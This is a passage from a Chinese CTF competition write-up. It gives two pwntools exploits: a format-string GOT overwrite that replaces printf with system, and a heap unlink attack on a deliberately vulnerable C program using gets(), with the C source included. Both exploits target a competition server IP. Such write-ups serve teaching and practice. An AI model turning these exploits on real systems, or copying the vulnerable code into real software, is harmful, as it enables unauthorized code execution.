然后leak确定libc版本与libc地址
改printf got表为system地址即可
exp:
from pwn import *
p = remote('39.98.246.99', 10039)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
payload = "%8$s"+p32(0x804a010)
p.sendline(payload)
libc.address = u32(p.recv(4))-libc.sym['printf']
p.recv()
payload = fmtstr_payload(7,{0x804a010:libc.sym['system']})
p.send(payload)
p.send('/bin/sh')
p.interactive()
unlink
#include <stdio.h>
#include <stdlib.h>
typedef struct Chunk
{
struct Chunk * fd;
struct Chunk * bk;
char data[16];
} chunk;
void dosomething()
{
system("/bin/sh");
}
void unlink(chunk * p)
{
chunk * FD = p->fd;
chunk * BK = p->bk;
FD->bk = BK;
BK->fd = FD;
}
void pwn_init()
{
setbuf(stdin,0);
setbuf(stdout,0);
alarm(60);
}
int main()
{
pwn_init();
malloc(1024);
chunk * a = malloc(sizeof(chunk));
chunk * b = malloc(sizeof(chunk));
chunk * c = malloc(sizeof(chunk));
a->fd = b;
b->bk = a;
b->fd = c;
c->bk = b;
printf("gift: %p %p\n", a, &a);
gets(a->data);
unlink(b);
return 0;
}
重点在于如何将代码段的地址写到返回地址,发现返回地址最后来源于[ecx-4],所以构造[ecx-4]=dosomething地址即可

exp:
from pwn import *
filename = "./myunlink32"
elf = ELF(filename)
#p = process(filename)
p = remote("39.98.246.99",10042)
a = p.recvline().split(' ')
t16 = lambda x: int(x,16)
heap,stack = map(t16,a[1:])
#gdb.attach(p,'b unlink\nc\n')
payload = p32(0x804856b)*6 + p32(stack+12) + p32(heap+12)
p.sendline(payload)
p.interactive()
最终排名

题目:
https://yunpan.360.cn/surl_yumR7sIvZut
选手wp
各位师傅的 wp:https://yunpan.360.cn/surl_yumRad79FAV